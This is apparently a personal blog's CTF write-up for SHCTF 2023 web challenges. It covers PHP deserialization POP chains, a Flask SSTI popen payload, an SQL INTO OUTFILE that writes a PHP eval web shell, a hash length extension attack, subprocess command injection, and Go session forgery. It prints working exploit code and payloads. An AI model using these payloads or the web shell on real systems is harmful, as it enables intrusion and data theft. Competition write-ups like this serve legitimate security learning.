Z1d10tのBlog

A note for myself,have fun!

  1. 1. WEEK1
    1. 1.1. babyRCE
    2. 1.2. 登录就给flag
    3. 1.3. 飞机大战
    4. 1.4. ez_serialize
    5. 1.5. ezphp
    6. 1.6. 1zzphp
    7. 1.7. 生成你的邀请函把~
  2. 2. WEEK2
    1. 2.1. serialize
    2. 2.2. no_wake_up
    3. 2.3. ez_ssti
    4. 2.4. EasyCMS
    5. 2.5. MD5的事就拜托了
    6. 2.6. [WEEK2]ez_rce(未解出)
  3. 3. WEEK3
    1. 3.1. 快问快答
    2. 3.2. sseerriiaalliizzee(未解出)
    3. 3.3. gogogo(未解出)

查缺补漏

WEEK1

babyRCE

1
uniq${IFS}/f???

img

登录就给flag

弱口令 admin/password

飞机大战

unicode解码再base64解码

img

ez_serialize

考点:

  • nginx日志包含
  • php反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

class A{
public $var_1;

public function __invoke(){
include($this->var_1);
}
}

class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}

}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}

class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$a = new B();
$a->q = new C();
$a->q->z = new D();
$a->q->z->p=new A();
$a->q->z->p->var_1="/var/log/nginx/access.log";
echo urlencode(serialize($a));
?>

img

img

ezphp

考点:

https://xz.aliyun.com/t/2557

img

1zzphp

考点:

  • 正则回溯
1
2
3
4
5
6
import requests
payload = {
"c_ode":'a'*1000000+"2023SHCTF"
}
r = requests.post(url='http://112.6.51.212:32212/?num[]=1',data=payload)
print(r.text)

生成你的邀请函把~

题目一开始没描述清楚 也有人做出来。。 挺抽象的

我还以为是CRLF 傻逼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /generate_invitation HTTP/1.1
Host: 112.6.51.212:31589
Content-Length: 119
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://112.6.51.212:31589
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://112.6.51.212:31589/generate_invitation
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
"name": "Z1d10t",
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"
}

WEEK2

serialize

考点:

  • 反序列化
  • 引用运算符
  • array绕过正则
  • php命名规范
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));

链子不难 难点在于 $this->gao=$this->fei;这句该怎么用

这里就需要知道引用运算符

举个小例子说明

img

这里取了了a的地址 修改b 那么也就会修改a

在这道题目我们需要修改$this->amilaoshu对象 所以就要用到引用运算符&

还有就是正则 不能0开头 用array绕过就行

poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class misca{
public $gao;
public $fei;
public $a;
}
class musca{
public $ding;
public $dong;
}
class milaoshu{
public $v;
}
$a = new musca();
$a->ding = new misca();
$a->ding->gao =&$a->ding->a;
$a->ding->fei = new milaoshu();
$a->ding->fei->v = 'php://filter/read=convert.base64-encode/resource=flag.php';
$b = array("1"=>$a);
echo urlencode(serialize($b));
?>
#a%3A1%3A%7Bi%3A1%3BO%3A5%3A%22musca%22%3A2%3A%7Bs%3A4%3A%22ding%22%3BO%3A5%3A%22misca%22%3A3%3A%7Bs%3A3%3A%22gao%22%3BN%3Bs%3A3%3A%22fei%22%3BO%3A8%3A%22milaoshu%22%3A1%3A%7Bs%3A1%3A%22v%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7Ds%3A1%3A%22a%22%3BR%3A4%3B%7Ds%3A4%3A%22dong%22%3BN%3B%7D%7D

no_wake_up

考点:

  • fast destruct

poc

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class flag{
public $username;
public $code;

}
$a = new flag();
$a->username = "admin";
$a->code = "php://filter/read=convert.base64-encode/resource=flag.php";
echo serialize($a);
?>
#O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";

ez_ssti

考点:

  • flask ssti

基础无过滤

?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}payload不唯一

EasyCMS

访问/admin/admin.php 到后台

admin/mao 默认密码登录

img

可以执行sql语句

直接写马到网站根目录下

1
select "<?php @eval($_POST['x']);?>" INTO OUTFILE "/var/www/html/1.php";

img

MD5的事就拜托了

考点:

  • 哈希长度扩展攻击

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
}
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}

首先就是正常的变量覆盖

POST:SHCTF=host://query?SHCTF

GET:length=0.0000001

然后我们可以得到flag的md5值和flag长度

关键在于

1
2
3
4
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}

一眼丁真是哈希长度扩展攻击

在这里有弯子猪脑当时没绕过来

举个例子

一般我们哈希长度扩展攻击已知md5($salt.$somethong.$insert)salt长度和something的值

$insert是我们可控能输入的点

但是这道题我们只知道md5($flag)的值 并不知道那一坨的md5值

这里需要绕一下认为salt为0 一般flag格式为flag{xxx-xxx-xxx-xxx}

那么我么们将$somethong=flag{xxx-xxx-xxx-xxx 将这段我们能输入$insert的当作}

这样我们就变相的知道了那一坨的md5值

利用hashpump工具

img

在这里a280dad8326674279a3944046bc364f3其实就是我们加入攻击值之后那一坨的md5值

然后输入的时候length只需要输入%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%001前面}就不需要了 不然就和flag重复了 并且length只容许是数字

payload:

1
2
POST:SHCTF=a280dad8326674279a3944046bc364f3
GET:length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%001

[WEEK2]ez_rce(未解出)

考点:

  • subprocess.call()命令注入

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import *
import subprocess

app = Flask(__name__)

def gett(obj,arg):
tmp = obj
for i in arg:
tmp = getattr(tmp,i)
return tmp

def sett(obj,arg,num):
tmp = obj
for i in range(len(arg)-1):
tmp = getattr(tmp,arg[i])
setattr(tmp,arg[i+1],num)

def hint(giveme,num,bol):
c = gett(subprocess,giveme)
tmp = list(c)
tmp[num] = bol
tmp = tuple(tmp)
sett(subprocess,giveme,tmp)

def cmd(arg):
subprocess.call(arg)


@app.route('/',methods=['GET','POST'])
def exec():
try:
if request.args.get('exec')=='ok':
shell = request.args.get('shell')
cmd(shell)
else:
exp = list(request.get_json()['exp'])
num = int(request.args.get('num'))
bol = bool(request.args.get('bol'))
hint(exp,num,bol)
return 'ok'
except:
return 'error'

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

原理:

当subprocess.call()函数第七个参数shell=false则会直接执行命令而不通过shell环境调用

当shell=true时 就会调用/bin/sh 来执行命令

img

subprocess.call()其实调用的是Popen()

img

我们跟进一下

可以看到默认shell=false

img

img

值得注意的是进程被卡死在这里叫做死锁

如果我们执行命令只是单纯一句指令 那么无论是shell等于true还是false 都会执行 两者没有差别

加了参数那么shell=false就无法执行了

因此这道题就应该先去修改subprocess.call()的第七个参数为true这样我们才能执行带有参数的命令

通过 setattr来修改属性值

setattr(a,b,c):将a对象的第b个属性修改为vlaue=c

需要注意这里exp是json格式的exp = list(request.get_json()['exp'])

payload:?exec=oka&num=7&bol=1

1
2
3
4
5
6
7
{
"exp":[
"Popen",
"__init__",
"__defaults__"
]
}

然后进行通过将命令执行的结果写入文件来读取 但是这里不能进行反弹shell 不知道是什么原因

1
?shell=mkdir+./static;ls+/>./static/a.txt&exec=ok

WEEK3

快问快答

写脚本

sseerriiaalliizzee(未解出)

纯眼瞎

考点:

  • exit死亡绕过

pop链不难

那么这道题最大的坑点在于如何触发__toString 其实是靠这里的echo语句触发(吐血)

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Start{
public $barking;
}
class CTF{
public $part1;
public $part2;
}
class Flag{
}
$a = new Start();
$a->barking=new CTF();
$a->barking->part1='php://filter/write=convert.base64-decode/resource=cmd.php';
$a->barking->part2='AA'.base64_encode('<?php phpinfo();?>');
echo urlencode(serialize($a));
?>

需要注意的是这里+也算是合法字符 所以要加两个任意字符AA来和<?php die("+Genshin Impact Start!+");?>构成四个一组

也即是 AAphpdie+GenshinImpactStart+总计为28 为4的整数倍

gogogo(未解出)

主要源码看这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package route

import (
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"main/readfile"
"net/http"
"os"
"regexp"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "User"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, User. How to become admin?")

}

func Readflag(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == "admin" {
c.String(200, "Congratulation! You are admin,But how to get flag?\n")

path := c.Query("filename")

reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

if reg.MatchString(path) {

http.Error(c.Writer, "nonono", http.StatusInternalServerError)
return
}

var data []byte
if path != "" {
data = readfile.ReadFile(path)
} else {
data = []byte("请传入参数")
}

c.JSON(200, gin.H{
"success": "read: " + string(data),
})
} else {
c.String(200, "Hello, User. How to become admin?")
}

}

看题目也知道是个go题目

首先就是伪造admin身份 根据源码

img

session的key从环境变量中去获取的 盲猜为空 就像国赛那到题目一样 然后本地起一个环境

首先在go.mod引入依赖 然后启动

稍稍修改源码 使得我们session的身份为admin

img

去获取session 然后打入题目

img

然后是/readflag路由 去读文件 要绕过一个正则

1
reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

可见还有一个字符a没有过滤 直接利用通配符

payload:/readflag?filename=/??a?

img

本文最后更新于 天前,文中所描述的信息可能已发生改变